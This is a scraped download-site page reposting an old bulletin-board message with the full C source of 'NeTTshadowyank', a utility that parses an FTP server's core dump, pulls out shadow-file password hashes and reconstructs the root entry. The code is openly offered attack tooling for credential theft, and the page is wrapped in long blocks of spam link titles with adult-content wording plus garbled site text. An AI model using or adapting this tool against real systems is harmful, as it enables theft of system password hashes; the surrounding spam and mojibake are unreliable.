亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? core dump by ftp.txt

?? 網(wǎng)絡(luò)安全方面的書籍,非常好,本人從事嵌入linux以及網(wǎng)絡(luò)方面的研究
?? TXT
字號(hào):
發(fā)信人: biff (大可), 信區(qū): Security 

標(biāo)  題: core dump by ftp 

發(fā)信站: 武漢白云黃鶴站 (Sun Jun 13 14:58:25 1999), 站內(nèi)信件 

  

/* NeTTshadowyank.c, by NeTTwerk (nettwerk@spyder.org) 

   Oct 17, 1996 

   Released into the Public Domain (not for use with some sets) 

                              **NeTTshadowyank** 

                                 Version 1.0 

                              nettwerk@spyder.org 

  

  NeTTshadowyank is a simple utility which reads a corefile created by 

in.ftpd, and pulls out the shadow file 8).. it also reconstructs the root 

password (which is corrupted in the shadow entry buffer), and puts it 

in the appropriate place in the targetfile 'NeTTshadowyank.shadow'. 

  

  This is a really brainless program from the perspective that it does 

very *little* inteligence... Version 2.0, will have my infamous 

'heuristics engine' which will *look* for shadow entries/passwd entries 

in the binary file. 

  

  (btw: if you dont know *how* to make in.ftpd dump core with the shadow 

file inside it, tough luck) 

  

  Greets for this little util go out for BioH,mudge,glyph (all the l0pht guys), 

bika,k,rommel,hobbit and of course,whoever wrote in.ftpd ;) 

  

latah. 

  

questions can be sent to nettwerk@spyder.org 

*/ 

  

#include <stdio.h> 

#include <stdlib.h> 

#include <sys/types.h> 

#include <malloc.h> 

#include <unistd.h> 

#include <sys/elftypes.h> 

#include <elf.h> 

#include <fcntl.h> 

#include <sys/stat.h> 

  

#define ROOT_OFFSET 0xd7d4 

#define SHADOW_OFFSET 0xfadb 

void main(argc,argv) 

int argc; 

char **argv; 

{ 

        FILE *fp; 

        FILE *fp2; 

        char SZ_line[255]; 

        Elf32_Ehdr *Telf32_hdr; 

        int I_fd; 

        void *Vp_buff; 

        struct stat Sstat_buf; 

        char *Cp_ptr; 

  

        if (argc!=2) 

                { 

                printf("[NeTTshadowyank] Usage: %s corefilename\n",argv[0]); 

                exit(0); 

                } 

        if ((I_fd=open(argv[1],O_RDONLY))<0) 

                { 

                perror("Opening Corefile"); 

                exit(0); 

                } 

        if (fstat(I_fd,&Sstat_buf)<0) 

                { 

                perror("fstat()'ing file"); 

                exit(0); 

                } 

        printf("[NeTTshadowyank] Loading %s, size %d 

bytes\n",argv[1],Sstat_buf.st_size); 

        if (!(Vp_buff=malloc(Sstat_buf.st_size))) 

                { 

                printf("Out of Memory\n"); 

                exit(0); 

                } 

        memset(Vp_buff,0,Sstat_buf.st_size); 

        if (read(I_fd,(char *)Vp_buff,Sstat_buf.st_size)<0) 

                { 

                perror("Reading corefile"); 

                exit(0); 

                } 

        Telf32_hdr = (Elf32_Ehdr *)Vp_buff; 

        printf("File Type ->%c%c%c%c\n",Telf32_hdr->e_ident[EI_MAG0] 

  

                                                     ,Telf32_hdr->e_ident[EI 

_MAG1] 

  

                                                     ,Telf32_hdr->e_ident[EI 

_MAG2] 

  

                                                     ,Telf32_hdr->e_ident[EI 

_MAG3]); 

  

        printf("File Class->0x%x",Telf32_hdr->e_ident[EI_CLASS]); 

  

        if (Telf32_hdr->e_ident[EI_CLASS]==1) 

                printf(" (32 Bit Binary)\n"); 

        else if (Telf32_hdr->e_ident[EI_CLASS]==2) 

                printf(" (64 Bit Binary)\n"); 

        else 

                printf(" (BAD Binary)\n"); 

  

        printf("File Data ->0x%x",Telf32_hdr->e_ident[EI_DATA]); 

  

  if (Telf32_hdr->e_ident[EI_DATA]==1) 

    printf(" (Least Significant Bit)\n"); 

  else if (Telf32_hdr->e_ident[EI_DATA]==2) 

    printf(" (Most Significant Bit)\n"); 

  else 

    printf(" (BAD Binary)\n"); 

  

        printf("File Vers ->0x%x\n",Telf32_hdr->e_ident[EI_VERSION]); 

        printf("File Type ->0x%x",Telf32_hdr->e_type); 

        if (Telf32_hdr->e_type==1) 

                printf(" (Relocatable Executable)\n"); 

        else if (Telf32_hdr->e_type==2) 

                printf(" (EXEC Executable)\n"); 

        else if (Telf32_hdr->e_type==3) 

                printf(" (Dynamic Executable)\n"); 

        else if (Telf32_hdr->e_type==4) 

                printf(" (Core Dump [Post-Mortem])\n"); 

        else if (Telf32_hdr->e_type==5) 

                printf(" (Numeric Executable)\n"); 

        else 

                printf(" (Unknown Binary Format)\n"); 

  

        Cp_ptr=Vp_buff+ROOT_OFFSET; 

        printf("Root Password location (%s) ->%s\n",ROOT_OFFSET,Cp_ptr); 

  

        printf("Reconstructing shadow file\n"); 

        if (!(fp=fopen("NeTTshadowyank.scratch","w"))) 

                { 

                perror("Creating scratch file"); 

                exit(0); 

                } 

        Cp_ptr=Vp_buff+SHADOW_OFFSET; 

        while(1) 

                { 

                if (!strncmp(Cp_ptr,"lic_key",7)) 

                        break; 

                if (*Cp_ptr=='#') 

                        break; 

                if (*Cp_ptr==0) 

                        fprintf(fp," "); 

                else 

                        fprintf(fp,"%c",*Cp_ptr); 

                Cp_ptr++; 

                } 

        fclose(fp); 

        if (!(fp=fopen("NeTTshadowyank.scratch","r"))) 

    { 

    perror("Opening Scratch File"); 

    exit(0); 

    } 

  if (!(fp2=fopen("NeTTshadowyank.shadow","w"))) 

    { 

    perror("Creating target file"); 

    exit(0); 

    } 

  while(fgets(SZ_line,sizeof(SZ_line),fp)) 

                { 

                SZ_line[(strlen(SZ_line)-1)]=0; 

                if (!strncmp(SZ_line,"root",4)) 

                        { 

                        Cp_ptr=Vp_buff+ROOT_OFFSET; 

                        printf("[NeTTshadowyank] Repairing Root Shadow 

Entry\n"); 

                        fprintf(fp2,"root:%s:0::::::\n",Cp_ptr); 

                        } 

                else 

                        fprintf(fp2,"%s\n",SZ_line); 

                } 



} 

  

  

  

-- 

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美另类久久久品| 日韩色在线观看| 日产国产欧美视频一区精品| 国产欧美一区二区精品秋霞影院 | 亚洲男人的天堂一区二区| 欧美精品第1页| 成人av电影在线观看| 日日夜夜精品免费视频| 国产精品网站在线| 日韩精品一区二区三区视频| 色美美综合视频| 国产成人av网站| 日韩在线a电影| 一区二区三区在线免费| 国产欧美日韩精品a在线观看| 制服丝袜中文字幕亚洲| 色网站国产精品| 国产91丝袜在线播放九色| 久久精品国产亚洲高清剧情介绍| 亚洲精品乱码久久久久久| 中文字幕成人av| 久久在线免费观看| 日韩写真欧美这视频| 欧美色图在线观看| 91女神在线视频| 成人av电影观看| 国产成人在线免费观看| 国产另类ts人妖一区二区| 日本麻豆一区二区三区视频| 午夜免费久久看| 亚洲一区二区三区小说| 亚洲天堂久久久久久久| 欧美极品美女视频| 国产亚洲福利社区一区| 久久久亚洲精品一区二区三区| 欧美一区二区三区视频在线 | 亚洲欧美日韩系列| 国产精品久久久久国产精品日日| 国产亚洲视频系列| 久久久91精品国产一区二区精品| 日韩视频在线永久播放| 日韩三级在线观看| 日韩欧美一二三四区| 日韩免费高清av| 精品人伦一区二区色婷婷| 精品国产a毛片| 久久精品夜色噜噜亚洲a∨| 久久免费午夜影院| 国产欧美日韩精品在线| 中文字幕一区二区视频| 亚洲精品日日夜夜| 亚洲成人先锋电影| 热久久国产精品| 精品制服美女丁香| 国产成人在线看| 91视视频在线观看入口直接观看www | 尤物视频一区二区| 亚洲国产中文字幕在线视频综合| 五月天精品一区二区三区| 日韩电影在线免费看| 久久99久久精品| 国产成人av一区二区三区在线| 99久久伊人久久99| 欧美日韩国产影片| 2020国产精品自拍| 亚洲色图都市小说| 天天亚洲美女在线视频| 国产呦萝稀缺另类资源| 成人h精品动漫一区二区三区| 色先锋aa成人| 日韩美女主播在线视频一区二区三区| 国产亚洲综合在线| 一区二区三区精密机械公司| 蜜臀久久久久久久| 成人听书哪个软件好| 欧美日本一区二区三区四区| 精品国偷自产国产一区| 亚洲天堂福利av| 欧美a一区二区| 亚洲欧美日韩久久精品| 免费高清不卡av| 波多野结衣在线一区| 国产欧美日韩麻豆91| 一区二区视频免费在线观看| 奇米亚洲午夜久久精品| 不卡影院免费观看| 欧美一区二区女人| 亚洲欧美偷拍卡通变态| 久久99国产精品久久| 日本韩国一区二区三区视频| 久久综合成人精品亚洲另类欧美 | 国产一区日韩二区欧美三区| 91免费小视频| 精品国产3级a| 亚洲成av人片在线观看无码| 国产麻豆精品95视频| 在线观看三级视频欧美| 国产欧美日韩不卡免费| 日本三级亚洲精品| 色菇凉天天综合网| 欧美激情综合五月色丁香小说| 日韩中文字幕区一区有砖一区 | 亚洲女厕所小便bbb| 国产一区欧美二区| 欧美美女黄视频| 亚洲三级免费观看| 国产·精品毛片| 精品国产91洋老外米糕| 日韩精品电影一区亚洲| 色网综合在线观看| 国产精品久99| 国产成人精品一区二区三区四区 | 日本麻豆一区二区三区视频| 在线精品视频一区二区| 亚洲欧美怡红院| 成人免费精品视频| 久久香蕉国产线看观看99| 蜜桃一区二区三区在线| 欧美精品一二三四| 亚洲电影在线免费观看| 91丝袜高跟美女视频| 中文av一区二区| 丁香婷婷综合激情五月色| 欧美精品一区男女天堂| 久久精品国产亚洲aⅴ | 中文字幕在线不卡视频| 粉嫩嫩av羞羞动漫久久久| 久久久精品影视| 精品一二三四区| 精品国产乱码久久久久久久 | 色综合久久99| 亚洲乱码中文字幕| 99久久99精品久久久久久| 国产精品欧美一区喷水| 高清成人免费视频| 亚洲国产高清在线观看视频| 国产成人aaa| 中文av一区特黄| 99精品视频一区二区| 亚洲嫩草精品久久| 在线视频观看一区| 性欧美疯狂xxxxbbbb| 宅男在线国产精品| 久久精品国产精品青草| 337p日本欧洲亚洲大胆精品| 国产一区999| 国产精品网站在线播放| 99国产精品一区| 一个色在线综合| 91麻豆精品国产91久久久资源速度 | 欧美最新大片在线看| 亚洲大片精品永久免费| 91精品国产综合久久国产大片| 免费观看一级特黄欧美大片| 精品国产制服丝袜高跟| 国产成人在线网站| 亚洲欧美另类小说| 在线不卡一区二区| 激情六月婷婷综合| 国产精品久久久久久久久久免费看| 99国内精品久久| 丝袜亚洲另类欧美综合| 久久久亚洲精品石原莉奈| 99久久精品国产导航| 天天色综合成人网| 久久精品一区八戒影视| 一本色道久久加勒比精品| 日日嗨av一区二区三区四区| 精品嫩草影院久久| 成人伦理片在线| 午夜电影一区二区三区| 久久九九久久九九| 在线视频你懂得一区二区三区| 免费日本视频一区| 国产精品久久三| 欧美日韩精品专区| 国产精品88av| 亚洲高清在线视频| 久久久久久亚洲综合| 在线一区二区三区四区五区| 麻豆国产欧美一区二区三区| 成人免费小视频| 日韩你懂的电影在线观看| caoporen国产精品视频| 日本亚洲电影天堂| 亚洲日本在线看| 精品久久久久久无| 在线一区二区三区四区五区| 国产资源精品在线观看| 亚洲制服欧美中文字幕中文字幕| 日韩精品一区二区三区在线播放 | 精品捆绑美女sm三区| 在线精品视频小说1| 国产麻豆精品在线| 国产成人精品三级麻豆| 亚洲日本一区二区| 久久精品一区二区三区av| 欧美日本高清视频在线观看| av色综合久久天堂av综合| 精品无人码麻豆乱码1区2区|